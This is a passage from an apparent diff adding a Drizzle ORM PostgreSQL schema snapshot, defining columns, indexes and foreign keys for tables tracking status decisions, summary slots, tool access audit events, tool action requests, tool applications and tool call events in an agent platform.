"primaryKey": false, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "delivery_state": { + "name": "delivery_state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "attempt_count": { + "name": "attempt_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "next_attempt_at": { + "name": "next_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "delivered_at": { + "name": "delivered_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "status_decision_effects_decision_ordinal_uq": { + "name": "status_decision_effects_decision_ordinal_uq", + "columns": [ + { + "expression": "decision_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "ordinal", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "status_decision_effects_company_idempotency_uq": { + "name": "status_decision_effects_company_idempotency_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "status_decision_effects_company_id_companies_id_fk": { + "name": "status_decision_effects_company_id_companies_id_fk", + "tableFrom": "status_decision_effects", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "status_decision_effects_issue_company_fk": { + "name": "status_decision_effects_issue_company_fk", + "tableFrom": "status_decision_effects", + "columnsFrom": [ + "company_id", + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "company_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "status_decision_effects_decision_owner_fk": { + "name": "status_decision_effects_decision_owner_fk", + "tableFrom": "status_decision_effects", + "columnsFrom": [ + "company_id", + "issue_id", + "decision_id" + ], + "tableTo": "status_decisions", + "columnsTo": [ + "company_id", + "issue_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.status_decisions": { + "name": "status_decisions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "assessment_id": { + "name": "assessment_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "decision_version": { + "name": "decision_version", + "type": "bigint", + "primaryKey": false, + "notNull": true + }, + "policy_version": { + "name": "policy_version", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "from_status": { + "name": "from_status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "to_status": { + "name": "to_status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reason_code": { + "name": "reason_code", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "decision_json": { + "name": "decision_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "decision_digest": { + "name": "decision_digest", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "application_state": { + "name": "application_state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'proposed'" + }, + "supersedes_decision_id": { + "name": "supersedes_decision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "applied_at": { + "name": "applied_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "status_decisions_company_issue_version_uq": { + "name": "status_decisions_company_issue_version_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "decision_version", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "status_decisions_company_assessment_uq": { + "name": "status_decisions_company_assessment_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "assessment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "status_decisions_company_issue_digest_uq": { + "name": "status_decisions_company_issue_digest_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "decision_digest", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "status_decisions_company_id_companies_id_fk": { + "name": "status_decisions_company_id_companies_id_fk", + "tableFrom": "status_decisions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "status_decisions_issue_company_fk": { + "name": "status_decisions_issue_company_fk", + "tableFrom": "status_decisions", + "columnsFrom": [ + "company_id", + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "company_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "status_decisions_assessment_owner_fk": { + "name": "status_decisions_assessment_owner_fk", + "tableFrom": "status_decisions", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id", + "assessment_id" + ], + "tableTo": "work_assessments", + "columnsTo": [ + "company_id", + "issue_id", + "run_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "status_decisions_supersedes_owner_fk": { + "name": "status_decisions_supersedes_owner_fk", + "tableFrom": "status_decisions", + "columnsFrom": [ + "company_id", + "issue_id", + "supersedes_decision_id" + ], + "tableTo": "status_decisions", + "columnsTo": [ + "company_id", + "issue_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "status_decisions_company_issue_id_uq": { + "name": "status_decisions_company_issue_id_uq", + "columns": [ + "company_id", + "issue_id", + "id" + ], + "nullsNotDistinct": false + }, + "status_decisions_company_issue_run_assessment_id_uq": { + "name": "status_decisions_company_issue_run_assessment_id_uq", + "columns": [ + "company_id", + "issue_id", + "run_id", + "assessment_id", + "id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.summary_slots": { + "name": "summary_slots", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "scope_kind": { + "name": "scope_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_id": { + "name": "scope_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "slot_key": { + "name": "slot_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'idle'" + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "generating_issue_id": { + "name": "generating_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_generated_at": { + "name": "last_generated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_generated_by_agent_id": { + "name": "last_generated_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_model": { + "name": "last_model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "summary_slots_document_uq": { + "name": "summary_slots_document_uq", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "summary_slots_company_scope_idx": { + "name": "summary_slots_company_scope_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "summary_slots_company_generating_issue_idx": { + "name": "summary_slots_company_generating_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "generating_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "summary_slots_company_updated_idx": { + "name": "summary_slots_company_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "summary_slots_company_id_companies_id_fk": { + "name": "summary_slots_company_id_companies_id_fk", + "tableFrom": "summary_slots", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "summary_slots_document_id_documents_id_fk": { + "name": "summary_slots_document_id_documents_id_fk", + "tableFrom": "summary_slots", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "summary_slots_generating_issue_id_issues_id_fk": { + "name": "summary_slots_generating_issue_id_issues_id_fk", + "tableFrom": "summary_slots", + "columnsFrom": [ + "generating_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "summary_slots_last_generated_by_agent_id_agents_id_fk": { + "name": "summary_slots_last_generated_by_agent_id_agents_id_fk", + "tableFrom": "summary_slots", + "columnsFrom": [ + "last_generated_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "summary_slots_company_scope_slot_uq": { + "name": "summary_slots_company_scope_slot_uq", + "columns": [ + "company_id", + "scope_kind", + "scope_id", + "slot_key" + ], + "nullsNotDistinct": true + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_access_audit_events": { + "name": "tool_access_audit_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "gateway_id": { + "name": "gateway_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_token_id": { + "name": "gateway_token_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_public_id": { + "name": "gateway_public_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_name": { + "name": "client_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "correlation_id": { + "name": "correlation_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "catalog_entry_id": { + "name": "catalog_entry_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'system'" + }, + "actor_id": { + "name": "actor_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reason_code": { + "name": "reason_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "details": { + "name": "details", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_access_audit_company_created_idx": { + "name": "tool_access_audit_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_access_audit_connection_idx": { + "name": "tool_access_audit_connection_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_access_audit_gateway_idx": { + "name": "tool_access_audit_gateway_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "gateway_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_access_audit_events_company_id_companies_id_fk": { + "name": "tool_access_audit_events_company_id_companies_id_fk", + "tableFrom": "tool_access_audit_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk": { + "name": "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk", + "tableFrom": "tool_access_audit_events", + "columnsFrom": [ + "gateway_id" + ], + "tableTo": "tool_mcp_gateways", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": { + "name": "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk", + "tableFrom": "tool_access_audit_events", + "columnsFrom": [ + "gateway_token_id" + ], + "tableTo": "tool_mcp_gateway_tokens", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_access_audit_events_connection_id_tool_connections_id_fk": { + "name": "tool_access_audit_events_connection_id_tool_connections_id_fk", + "tableFrom": "tool_access_audit_events", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk": { + "name": "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk", + "tableFrom": "tool_access_audit_events", + "columnsFrom": [ + "catalog_entry_id" + ], + "tableTo": "tool_catalog_entries", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_action_requests": { + "name": "tool_action_requests", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "invocation_id": { + "name": "invocation_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "interaction_id": { + "name": "interaction_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "approval_id": { + "name": "approval_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "canonical_arguments_hash": { + "name": "canonical_arguments_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "canonical_arguments_summary": { + "name": "canonical_arguments_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "signed_arguments": { + "name": "signed_arguments", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "preview_markdown": { + "name": "preview_markdown", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requested_by_agent_id": { + "name": "requested_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "requested_by_user_id": { + "name": "requested_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolved_by_agent_id": { + "name": "resolved_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "resolved_by_user_id": { + "name": "resolved_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "decided_by_agent_id": { + "name": "decided_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "decided_by_user_id": { + "name": "decided_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "decided_at": { + "name": "decided_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_action_requests_company_status_idx": { + "name": "tool_action_requests_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_action_requests_invocation_idx": { + "name": "tool_action_requests_invocation_idx", + "columns": [ + { + "expression": "invocation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_action_requests_issue_idx": { + "name": "tool_action_requests_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_action_requests_company_id_companies_id_fk": { + "name": "tool_action_requests_company_id_companies_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_action_requests_invocation_id_tool_invocations_id_fk": { + "name": "tool_action_requests_invocation_id_tool_invocations_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "invocation_id" + ], + "tableTo": "tool_invocations", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_action_requests_issue_id_issues_id_fk": { + "name": "tool_action_requests_issue_id_issues_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_action_requests_interaction_id_issue_thread_interactions_id_fk": { + "name": "tool_action_requests_interaction_id_issue_thread_interactions_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "interaction_id" + ], + "tableTo": "issue_thread_interactions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_action_requests_approval_id_approvals_id_fk": { + "name": "tool_action_requests_approval_id_approvals_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "approval_id" + ], + "tableTo": "approvals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_action_requests_requested_by_agent_id_agents_id_fk": { + "name": "tool_action_requests_requested_by_agent_id_agents_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "requested_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_action_requests_resolved_by_agent_id_agents_id_fk": { + "name": "tool_action_requests_resolved_by_agent_id_agents_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "resolved_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_action_requests_decided_by_agent_id_agents_id_fk": { + "name": "tool_action_requests_decided_by_agent_id_agents_id_fk", + "tableFrom": "tool_action_requests", + "columnsFrom": [ + "decided_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_applications": { + "name": "tool_applications", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "application_key": { + "name": "application_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_agent_id": { + "name": "owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_user_id": { + "name": "owner_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_applications_company_idx": { + "name": "tool_applications_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_applications_company_status_idx": { + "name": "tool_applications_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_applications_company_name_uq": { + "name": "tool_applications_company_name_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_applications_company_key_uq": { + "name": "tool_applications_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "application_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_applications_company_id_companies_id_fk": { + "name": "tool_applications_company_id_companies_id_fk", + "tableFrom": "tool_applications", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_applications_plugin_id_plugins_id_fk": { + "name": "tool_applications_plugin_id_plugins_id_fk", + "tableFrom": "tool_applications", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_applications_owner_agent_id_agents_id_fk": { + "name": "tool_applications_owner_agent_id_agents_id_fk", + "tableFrom": "tool_applications", + "columnsFrom": [ + "owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_call_events": { + "name": "tool_call_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "event_type": { + "name": "event_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'system'" + }, + "actor_id": { + "name": "actor_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_id": { + "name": "gateway_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_token_id": { + "name": "gateway_token_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_public_id": { + "name": "gateway_public_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_subject_type": { + "name": "client_subject_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_subject_id": { + "name": "client_subject_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_name": { + "name": "client_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "mcp_session_id": { + "name": "mcp_session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "correlation_id": { + "name": "correlation_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "catalog_entry_id": { + "name": "catalog_entry_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "invocation_id": { + "name": "invocation_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "action_request_id": { + "name": "action_request_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "runtime_slot_id": { + "name": "runtime_slot_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "decision": { + "name": "decision", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "matched_policy_ids": { + "name": "matched_policy_ids", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "reason_code": { + "name": "reason_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "policy_explanation": { + "name": "policy_explanation", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "credential_scope_summary": { + "name": "credential_scope_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "header_policy_summary": { + "name": "header_policy_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "latency_ms": { + "name": "latency_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "arguments_summary": { + "name": "arguments_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "request_hash": { + "name": "request_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_summary": { + "name": "request_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "result_hash": { + "name": "result_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "result_summary": { + "name": "result_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "result_size_bytes": { + "name": "result_size_bytes", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "redaction_plan": { + "name": "redaction_plan", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "rate_limit_state": { + "name": "rate_limit_state", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "error_code": { + "name": "error_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + 